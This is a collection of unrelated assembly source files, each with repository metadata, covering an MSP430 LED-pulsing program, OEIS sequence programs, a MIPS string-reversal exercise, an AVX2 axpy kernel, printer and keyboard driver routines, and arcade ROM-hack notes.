.seg code .sht.cons.iStream.printLn: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .sht.cons.iStream.cctor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .sht.cons.iStream.cdtor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .sht.cons.stdout.printLn: push, rbp mov, rbp, rsp sub, rsp, 32 mov, rcx, rdx ; (msg req for rcx) [splitter] call, ._print ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbp ret .seg code .sht.cons.stdout.cctor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .sht.cons.stdout.cdtor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .sht.cons.program.run: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .sht.cons.program.cctor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .sht.cons.program.cdtor: push, rbp mov, rbp, rsp mov, rsp, rbp pop, rbp ret .seg code .sht.cons.iStream_vtbl_inst: goto, .sht.cons.iStream.printLn .seg code .sht.cons.program_vtbl_inst: goto, .sht.cons.program.run .seg code .sht.cons.stdout_vtbl_inst: goto, .sht.cons.stdout.printLn .seg code .sht.cons.iStream_sctor: push, rbp push, rbx mov, rbp, rsp sub, rsp, 32 call, .sht.core.object_sctor ; (call label) add, rsp, 32 lea, rbx, qwordptr .sht.cons.iStream_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .sht.cons.iStream.cctor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret .seg code .sht.cons.iStream_sdtor: push, rbp push, rbx mov, rbp, rsp lea, rbx, qwordptr .sht.cons.iStream_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .sht.cons.iStream.cdtor ; (call label) add, rsp, 32 sub, rsp, 32 call, .sht.core.object_sdtor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret .seg code .sht.cons.program_sctor: push, rbp push, rbx mov, rbp, rsp sub, rsp, 32 call, .sht.core.object_sctor ; (call label) add, rsp, 32 lea, rbx, qwordptr .sht.cons.program_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .sht.cons.program.cctor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret .seg code .sht.cons.program_sdtor: push, rbp push, rbx mov, rbp, rsp lea, rbx, qwordptr .sht.cons.program_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .sht.cons.program.cdtor ; (call label) add, rsp, 32 sub, rsp, 32 call, .sht.core.object_sdtor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret .seg code .sht.cons.stdout_sctor: push, rbp push, rbx mov, rbp, rsp sub, rsp, 32 call, .sht.cons.iStream_sctor ; (call label) add, rsp, 32 lea, rbx, qwordptr .sht.cons.stdout_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .sht.cons.stdout.cctor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret .seg code .sht.cons.stdout_sdtor: push, rbp push, rbx mov, rbp, rsp lea, rbx, qwordptr .sht.cons.stdout_vtbl_inst mov, [rcx], rbx ; = sub, rsp, 32 call, .sht.cons.stdout.cdtor ; (call label) add, rsp, 32 sub, rsp, 32 call, .sht.cons.iStream_sdtor ; (call label) add, rsp, 32 mov, rsp, rbp pop, rbx pop, rbp ret
49.035533
86
0.213561
7f66718468dba6c87cd87167111fc3b737d19b44
121
asm
Assembly
tools-src/gnu/binutils/gas/testsuite/gasp/assign.asm
enfoTek/tomato.linksys.e2000.nvram-mod
2ce3a5217def49d6df7348522e2bfda702b56029
[ "FSFAP" ]
80
2015-01-02T10:14:04.000Z
2021-06-07T06:29:49.000Z
tools-src/gnu/binutils/gas/testsuite/gasp/assign.asm
unforgiven512/tomato
96f09fab4929c6ddde5c9113f1b2476ad37133c4
[ "FSFAP" ]
9
2015-05-14T11:03:12.000Z
2018-01-04T07:12:58.000Z
tools-src/gnu/binutils/gas/testsuite/gasp/assign.asm
unforgiven512/tomato
96f09fab4929c6ddde5c9113f1b2476ad37133c4
[ "FSFAP" ]
69
2015-01-02T10:45:56.000Z
2021-09-06T07:52:13.000Z
foo: .ASSIGNC "hello" BAR: .ASSIGNA 12+34 \&foo'foo \&foo\&foo\&foo \&foo \&foo \&foo \&BAR\&bar\&BAR .END
8.642857
21
0.53719
8b4a71fc1b4a3b590b3c4cb80f28b6e72811a4d8
3,760
asm
Assembly
ledpwmpulsating.asm
Fidget-Spinner/msp430-snippets
f61f0c9c4d6a59115749c8ac3269eeb17ae2ac53
[ "Apache-2.0" ]
null
null
null
ledpwmpulsating.asm
Fidget-Spinner/msp430-snippets
f61f0c9c4d6a59115749c8ac3269eeb17ae2ac53
[ "Apache-2.0" ]
null
null
null
ledpwmpulsating.asm
Fidget-Spinner/msp430-snippets
f61f0c9c4d6a59115749c8ac3269eeb17ae2ac53
[ "Apache-2.0" ]
null
null
null
;------------------------------------------------------------------------------- ; MSP430 Assembler Code Template for use with TI Code Composer Studio ; ; ;------------------------------------------------------------------------------- .cdecls C,LIST,"msp430.h" ; Include device header file ;------------------------------------------------------------------------------- .def RESET ; Export program entry-point to ; make it known to linker. ;------------------------------------------------------------------------------- .text ; Assemble into program memory. .retain ; Override ELF conditional linking ; and retain current section. .retainrefs ; And retain any sections that have ; references to current section. ;------------------------------------------------------------------------------- RESET mov.w #__STACK_END,SP ; Initialize stackpointer StopWDT mov.w #WDTPW|WDTHOLD,&WDTCTL ; Stop watchdog timer ;------------------------------------------------------------------------------- ; Main loop here ;------------------------------------------------------------------------------- mov.w #0d,R5 ; Counts how many periods have elapsed. mov.w #0, R6 ; Check whether counting down or not 0 =no (counting up), 1 =yes (counting down) mov.w #961d,R11 ; R11 stores counts to keep light on for bis.b #001h, &P1DIR ; Set P1.0 as output Start mov.w #2,R9 ; Counter for on/off state. on = 1, off = 2. Can increase this number to repeat states. inc.w R5 ; +1 period elapsed cmp.w #120d,R5 ; Checks if 120 periods (roughly 2 seconds) has passed jge Toggle ; If yes, toggle RetToggle cmp.w #0, R6 ; If counting up, jnz Down ; If not counting up, jmp to Down add.w #16, R11 ; Else add 4 minus 2 (add 2 in total) Down sub.w #8, R11 ; If counting down, minus 2 mov.w #4600d,R10 ; 4600 counts is 1 cycle sub.w R11, R10 ; Counter for Delay loop; 4600 counts is 1 cycle. Mainloop xor.b #001h, &P1OUT ; Toggle value of P1.0 (ie toggle the LED) mov.w R10, R15 ; Resets counter for Delay loop cmp.w #2,R9 ; Test if state is on or off, off = 2 will set neg flag jeq Delay ; If eq(off), jmp to Delay mov.w R11, R15 ; Else, (on), will mov R11 (counter for on) into the R15 counter Delay dec.w R15 ; The Delay loop jnz Delay ; While R15 is not zero, keep looping back to label Delay dec.w R9 jz Start ; Marks the end of 1 clock cycle jmp Mainloop Toggle xor.w #001h,R6 ; Toggle up or down mov.w #0h, R5 ; Reset the period counter jmp RetToggle nop ;------------------------------------------------------------------------------- ; Stack Pointer definition ;------------------------------------------------------------------------------- .global __STACK_END .sect .stack ;------------------------------------------------------------------------------- ; Interrupt Vectors ;------------------------------------------------------------------------------- .sect ".reset" ; MSP430 RESET Vector .short RESET
53.714286
123
0.386436
7e763dd3cf2783b664b9cdb02334834da9972e61
481
asm
Assembly
oeis/297/A297474.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/297/A297474.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/297/A297474.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A297474: Number of maximal matchings in the n-cocktail party graph. ; Submitted by Christian Krause ; 1,2,14,92,844,9304,121288,1822736,31030928,590248736,12406395616,285558273472,7143371664064,192972180052352,5598713198048384,173627942889668864,5731684010612723968,200669613102747214336,7426773564495661485568,289713958515451427511296 mov $2,1 mov $3,1 mov $4,1 lpb $0 mul $2,2 mul $2,$0 mul $3,$0 sub $0,1 add $3,$4 mov $4,$2 add $2,$3 mov $3,$1 lpe mov $0,$4
25.315789
235
0.752599
3110b9edbb857cd183ce3a75bac1a891d852f710
983
asm
Assembly
libsrc/target/pk8000/input/in_KeyPressed.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
1
2022-03-08T11:55:58.000Z
2022-03-08T11:55:58.000Z
libsrc/target/pk8000/input/in_KeyPressed.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
2
2022-03-20T22:17:35.000Z
2022-03-24T16:10:00.000Z
libsrc/target/pk8000/input/in_KeyPressed.asm
jorgegv/z88dk
127130cf11f9ff268ba53e308138b12d2b9be90a
[ "ClArtistic" ]
null
null
null
; uint in_KeyPressed(uint scancode) SECTION code_clib PUBLIC in_KeyPressed PUBLIC _in_KeyPressed EXTERN in_keytranstbl ; Determines if a key is pressed using the scan code ; returned by in_LookupKey. ; enter : l = scan row, bit 7 = control, bit 6 = shift ; h = key mask ; exit : carry = key is pressed & HL = 1 ; no carry = key not pressed & HL = 0 ; used : AF,BC,HL ; write to ppi1 porta with key row (port 0xd0) ; Read from ppi0 portb with value (including shift/ctrl keys) (port 0xd1) ; write to port c (d2) read from port c (d2) Rows 8-11 .in_KeyPressed ._in_KeyPressed ld a,l and 15 out ($82),a in a,($81) cpl and h jp nz,check_modifiers nokey: ld hl,0 and a ret check_modifiers: ; Now we need to check for control + shift ; Grab shift keys ld a,6 out ($82),a ld a,($81) cpl and @11000000 ld e,a ;Save value ld a,l rlca rlca and @00000011 cp e jp nz,nokey ld hl,1 scf ret
17.872727
73
0.638861
3d75841a13a378c6469bcf97911ab68770e3488c
477
asm
Assembly
oeis/128/A128307.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/128/A128307.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/128/A128307.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A128307: Triangle, (1, 0, 1, 2, 4, 8,...) in every column. ; Submitted by Christian Krause ; 1,0,1,1,0,1,2,1,0,1,4,2,1,0,1,8,4,2,1,0,1,16,8,4,2,1,0,1,32,16,8,4,2,1,0,1,64,32,16,8,4,2,1,0,1,128,64,32,16,8,4,2,1,0,1,256,128,64,32,16,8,4,2,1,0,1,512,256,128,64,32,16,8,4,2,1,0,1,1024,512,256,128,64,32,16,8,4,2,1,0,1,2048,1024,512,256,128,64,32,16,8 seq $0,25581 ; Triangle T(n, k) = n-k, 0 <= k <= n. seq $0,34008 ; a(n) = floor(2^|n-1|/2). Or: 1, 0, followed by powers of 2.
68.142857
255
0.591195
7736d291ebf6afc8624b0044a4518d9c9af208bb
1,495
asm
Assembly
Driver/Printer/PrintCom/Job/Custom/customIBMPJLToPCL.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Printer/PrintCom/Job/Custom/customIBMPJLToPCL.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Printer/PrintCom/Job/Custom/customIBMPJLToPCL.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1993 -- All Rights Reserved PROJECT: PC GEOS MODULE: Printer Drivers FILE: customIBMPJLToPCL.asm AUTHOR: Dave Durran ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 8/93 Initial revision DESCRIPTION: $Id: customIBMPJLToPCL.asm,v 1.1 97/04/18 11:50:58 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrintEnterPJL/PrintExitPJL %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Do pre-job initialization CALLED BY: INTERNAL jumped to from PrintStartJob/PrintEndJob PASS: es - segment of locked PState RETURN: carry - set if some communication problem DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrintEnterIBMPJL proc near mov si,offset pr_codes_PJLUEL call SendCodeOut jc exit mov si,offset pr_codes_PJLEnterPCL5 call SendCodeOut exit: jmp BeginInit PrintEnterIBMPJL endp ;Uses the normal HP exit routine.
21.666667
79
0.497659
965633a7455e29cf4d9345acc9220715d0057242
648
asm
Assembly
programs/oeis/001/A001301.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/001/A001301.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/001/A001301.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A001301: Number of ways of making change for n cents using coins of 1, 2, 5, 10, 25 cents. ; 1,1,2,2,3,4,5,6,7,8,11,12,15,16,19,22,25,28,31,34,40,43,49,52,58,65,71,78,84,91,102,109,120,127,138,151,162,175,186,199,217,230,248,261,279,300,318,339,357,378,406,427,455,476,504,536,564,596,624,656,697,729,770,802,843,889,930,976,1017,1063,1120,1166,1223,1269,1326,1390,1447,1511,1568,1632,1709,1773,1850,1914,1991,2077,2154,2240,2317,2403,2504,2590,2691,2777,2878,2990,3091,3203,3304,3416 lpb $0 mov $2,$0 sub $0,2 seq $2,1299 ; Number of ways of making change for n cents using coins of 1, 5, 10, 25 cents. add $1,$2 lpe add $1,1 mov $0,$1
54
393
0.703704
d19b413b5f7a7caa0345c27e9ad67c7233a6520b
20
asm
Assembly
src/main/fragment/mos6502-common/vbuaa=vbuaa_bor__deref_pbuz1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vbuaa=vbuaa_bor__deref_pbuz1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vbuaa=vbuaa_bor__deref_pbuz1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
ldy #0 ora ({z1}),y
6.666667
12
0.5
431a9294e518c2972c0c7e130c1e83c028e862f0
5,718
asm
Assembly
UFAL/OAC/Lista 1/Q3.asm
NelsonGomesNeto/ProgramC
e743b1b869f58f7f3022d18bac00c5e0b078562e
[ "MIT" ]
3
2018-12-18T13:39:42.000Z
2021-06-23T18:05:18.000Z
UFAL/OAC/Lista 1/Q3.asm
NelsonGomesNeto/ProgramC
e743b1b869f58f7f3022d18bac00c5e0b078562e
[ "MIT" ]
1
2018-11-02T21:32:40.000Z
2018-11-02T22:47:12.000Z
UFAL/OAC/Lista 1/Q3.asm
NelsonGomesNeto/ProgramC
e743b1b869f58f7f3022d18bac00c5e0b078562e
[ "MIT" ]
6
2018-10-27T14:07:52.000Z
2019-11-14T13:49:29.000Z
.data string: .space 100 revString: .space 100 .text # Main addi $a1, $zero, 100 # prepare to read size 100 string jal readString # call read string la $s0, ($a0) # s0 = pointer to normal string la $a0, ($s0) # a0 = pointer to normal string jal verifyString # call verify string add $v1, $zero, $v0 # v1 = v0 bne $v0, $zero, END # if (v0) goto end (has invalid characters) la $a0, ($s0) # a0 = pointer to normal string addi $a1, $zero, 0 # a1 = 0 jal stringLength # call string length add $s1, $zero, $v0 # s1 = string length la $s2, revString # s2 = pointer to reversed string la $a0, ($s2) # a0 = pointer to reversed string la $a1, ($s0) # a1 = pointer to normal string add $a1, $a1, $s1 # a1 = a1 + string length addi $a1, $a1, -1 # a1 = pointer to end of string add $a2, $zero, $s1 # a2 = string length jal reverseString # call reverse string la $a0, ($s2) # a0 = pointer to reversed string jal invertString # call invert string la $a0, ($s0) # a0 = pointer to normal string jal printString # print normal string la $a0, ($s2) # a0 = pointer to reversed string jal printString # print reversed string j END # End of Main # Functions readString: addi $v0, $zero, 8 # prepares syscall to read a string la $a0, string # a0 = pointer to normal string syscall # read string jr $ra # return printString: addi $v0, $zero, 4 # prepare syscall to print a string syscall # print string jr $ra # return verifyString: addi $sp, $sp, -4 # prepare stack sw $ra, 0($sp) # save return address addi $t0, $zero, 10 # t0 = '\n' lb $t1, ($a0) # t1 = string[0] bne $t0, $t1, cVerifyString # if (string[0] != '\n') goto cVerifyString addi $sp, $sp, 4 # pop stack addi $v0, $zero, 0 # v0 = 0 jr $ra # return cVerifyString: jal verifyChar # call verifyChar beq $v0, $zero, cVerifyChar # if (!v0) goto cVerifyChar lw $ra, 0($sp) # load return address addi $sp, $sp, 4 # pop stack jr $ra # return cVerifyChar: addi $a0, $a0, 1 # string ++ (moving pointer) jal verifyString # recursive call verifyString lw $ra, 0($sp) # load return address addi $sp, $sp, 4 # pop stack jr $ra # return verifyChar: addi $t0, $zero, 64 # t0 = 'A' - 1 addi $t1, $zero, 91 # t1 = 'Z' + 1 addi $t2, $zero, 96 # t2 = 'a' - 1 addi $t3, $zero, 123 # t3 = 'z' + 1 lb $t4, ($a0) # t4 = string[0] slt $t5, $t0, $t4 # t5 = ('A' - 1) < string[0] slt $t6, $t4, $t1 # t6 = string[0] < ('Z' + 1) slt $t7, $t2, $t4 # t7 = ('a' - 1) < string[0] slt $t8, $t4, $t3 # t8 = string[0] < ('z' + 1) bne $t5, $zero, vc1 # if (string[0] > ('A' - 1)) goto vc1 addi $v0, $zero, 1 # v0 = 1 (invalid character) jr $ra # return vc1: bne $t8, $zero, vc2 # if (string[0] < ('z' + 1)) goto vc2 addi $v0, $zero, 1 # v0 = 1 (invalid character) jr $ra # return vc2: beq $t6, $zero, vc3 # if (string[0] >= ('Z' + 1) goto vc3 addi $v0, $zero, 0 # v0 = 0 (valid character) jr $ra # return vc3: beq $t7, $zero, vc4 # if (string[0] > ('A' - 1)) goto vc4 addi $v0, $zero, 0 # v0 = 0 (valid character) jr $ra # return vc4: addi $v0, $zero, 1 # v0 = 1 (valid character) jr $ra # return stringLength: addi $sp, $sp, -4 # prepare stack sw $ra, 0($sp) # save return address addi $t0, $zero, 10 # t0 = '\n' lb $t1, ($a0) # t1 = s[0] bne $t0, $t1, cStringLength # if (s[0] != '\n') goto continue add $v0, $zero, $a1 # v0 = string length addi $sp, $sp, 4 # pop stack jr $ra # return cStringLength: addi $a1, $a1, 1 # string length ++ addi $a0, $a0, 1 # string ++ (moving pointer) jal stringLength # recursive call stringLength lw $ra, 0($sp) # load return address addi $sp, $sp, 4 # pop stack jr $ra # return reverseString: addi $sp, $sp, -4 # prepare stack sw $ra, 0($sp) # save return address bne $a2, $zero, cReverseString # if (!(end of string)) goto continue addi $sp, $sp, 4 # pop stack jr $ra # return cReverseString: lb $t0, 0($a1) # t0 = normalString[0] sb $t0, 0($a0) # reversedString[0] = t0 addi $a0, $a0, 1 # reversedString ++ (moving pointer) addi $a1, $a1, -1 # normalString -- (moving pointer) addi $a2, $a2, -1 # stringLength -- jal reverseString # recursive call reverseString lw $ra, 0($sp) # load return address addi $sp, $sp, 4 # pop stack jr $ra # return invertString: addi $sp, $sp -4 # prepare stack sw $ra, 0($sp) # save return address lb $t0, ($a0) # t0 = string[0] bne $t0, $zero, cInvertString # if (s[0] != '\0') goto continue addi $sp, $sp, 4 # pop stack jr $ra # return cInvertString: jal invertChar # call invert char addi $a0, $a0, 1 # string ++ (moving pointer) jal invertString # recursive call invertString lw $ra, 0($sp) # load return address addi $sp, $sp, 4 # pop stack jr $ra # return invertChar: addi $t0, $zero, 97 # t0 = 'a' lb $t1, ($a0) # t1 = string[0] slt $t2, $t1, $t0 # t2 = string[0] < 'a' bne $t2, $zero, toLower # if (string[0] < 'a') goto toLower addi $t1, $t1, -32 # t1 -= 32 sb $t1, ($a0) # string[0] = t1 jr $ra # return toLower: addi $t1, $t1, 32 # t1 += 32 sb $t1, ($a0) # string[0] = t1 jr $ra # return END: nop
34.239521
72
0.5383
14be2e67e39d40a6157cb2f12e782e192ee3bbc0
578
asm
Assembly
intel-avx2/axpy/axpy_fma.asm
yanyh15/vectorization-examples
ab9088214cec0997dec9db889e184fac4028a7bc
[ "BSD-3-Clause" ]
null
null
null
intel-avx2/axpy/axpy_fma.asm
yanyh15/vectorization-examples
ab9088214cec0997dec9db889e184fac4028a7bc
[ "BSD-3-Clause" ]
null
null
null
intel-avx2/axpy/axpy_fma.asm
yanyh15/vectorization-examples
ab9088214cec0997dec9db889e184fac4028a7bc
[ "BSD-3-Clause" ]
1
2021-03-03T15:09:26.000Z
2021-03-03T15:09:26.000Z
section .data section .bss section .text global axpy ; void axpy(int N, REAL *Y, REAL *X, REAL a); ; edi rsi rdx xmm0 ; AXPY Y[N] = Y[N] + a*X[N] axpy: xor rax, rax vmovups ymm1, [rdx] vbroadcastss ymm2, xmm0 vfmadd213ps ymm1, ymm2, [rsi] vmovups [rsi], ymm1 cmp edi, 8 jle done axpy8: vmovups ymm1, [rdx+rax*4] vfmadd213ps ymm1, ymm2, [rsi+rax*4] vmovups [rsi+rax*4], ymm1 add eax, 8 cmp eax, edi jl axpy8 ;axpy1: ; movss xmm0, [rdx+rax*4] ; addss xmm0, [rsi+rax*4] ; movss [rsi+rax*4], xmm0 ; add eax, 1 ; cmp eax, edi ; jl axpy1 done: ret
14.45
45
0.628028
6dc23eb99dc2766066c4ef89fc59d80f5583baee
1,034
asm
Assembly
ffight/lcs/enemy/6.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/enemy/6.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/enemy/6.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 0030A6 move.w ($54,A6), D1 [boss+6, boss+8, container+ 6, container+ 8, enemy+ 6, enemy+ 8, weapon+ 6, weapon+ 8] 003140 tst.w ($50,A6) [1p+ 6, 1p+ 8, boss+6, boss+8, container+ 6, container+ 8, enemy+ 6, enemy+ 8] 003162 move.w ($2,A1,D1.w), D1 [1p+ 6, 1p+ 8, boss+6, boss+8, enemy+ 6, enemy+ 8] 003A0E movem.l D0-D3, -(A6) 003A12 move.w D4, ($4e,A6) 004198 move.l ($a,A1), ($a,A6) [boss+6, boss+8, enemy+ 6, enemy+ 8] 0041D0 move.b (A0)+, D0 [boss+6, enemy+ 6] 005ECA move.w ($6,A3), D2 [enemy+ 6] 0061DC move.w ($4,A3), D2 [boss+6, container+ 6, enemy+ 6] 007C38 move.w ($6,A6), D1 [1p+ 6, container+ 6, enemy+ 6, weapon+ 6] 007C62 add.w D2, ($e,A6) [1p+ 6, enemy+ 6] 009ACA dbra D5, $9ac8 027D78 add.l D2, ($6,A6) [enemy+36] 027D7C move.w ($e,A4), D1 [enemy+ 6, enemy+ 8] 02ACE8 addi.w #$1, ($1e,A6) [enemy+ 6] 035886 rts [enemy+ 6, enemy+ 8] 039CD6 move.w (A1)+, D0 [enemy+ 6] copyright zengfr site:http://github.com/zengfr/romhack
47
115
0.606383
6363344d22595b5c3ddd6608669a16f94673fcc9
110
asm
Assembly
samples/func.asm
SohamMalakar/Intel-8085
85b759c6c9a85691146270be920350ff45c0ea48
[ "MIT" ]
null
null
null
samples/func.asm
SohamMalakar/Intel-8085
85b759c6c9a85691146270be920350ff45c0ea48
[ "MIT" ]
null
null
null
samples/func.asm
SohamMalakar/Intel-8085
85b759c6c9a85691146270be920350ff45c0ea48
[ "MIT" ]
null
null
null
MVI A, 00H CALL FUNC1 RST 1 HLT FUNC2: INR A INR A RET FUNC1: INR A CALL FUNC2 RET
6.875
14
0.545455
7d5e23b4993126c663a35992fe1e0496d88dbb95
173
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/fmod.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/fmod.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/fmod.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math32 PUBLIC fmod EXTERN cm32_sccz80_fmod defc fmod = cm32_sccz80_fmod ; SDCC bridge for Classic IF __CLASSIC PUBLIC _fmod defc _fmod = fmod ENDIF
11.533333
29
0.791908
82832ef38221bc10780becde7caaff1d4bc71503
112
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/fmod.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/fmod.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/fmod.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_fp_math48 PUBLIC _fmod EXTERN cm48_sdccix_fmod defc _fmod = cm48_sdccix_fmod
11.2
29
0.848214
cb20a4b23beb284a8d9e48a6471e19004069c946
334
asm
Assembly
oeis/021/A021483.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021483.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021483.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021483: Decimal expansion of 1/479. ; Submitted by Jon Maiga ; 0,0,2,0,8,7,6,8,2,6,7,2,2,3,3,8,2,0,4,5,9,2,9,0,1,8,7,8,9,1,4,4,0,5,0,1,0,4,3,8,4,1,3,3,6,1,1,6,9,1,0,2,2,9,6,4,5,0,9,3,9,4,5,7,2,0,2,5,0,5,2,1,9,2,0,6,6,8,0,5,8,4,5,5,1,1,4,8,2,2,5,4,6,9,7,2,8,6,0 add $0,1 mov $1,10 pow $1,$0 mul $1,2 div $1,958 mod $1,10 mov $0,$1
27.833333
199
0.556886
645c270333f68b311d03282c4fdcc1d7ac4b5cf5
2,605
asm
Assembly
dino/lcs/base/51A.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
dino/lcs/base/51A.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
dino/lcs/base/51A.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
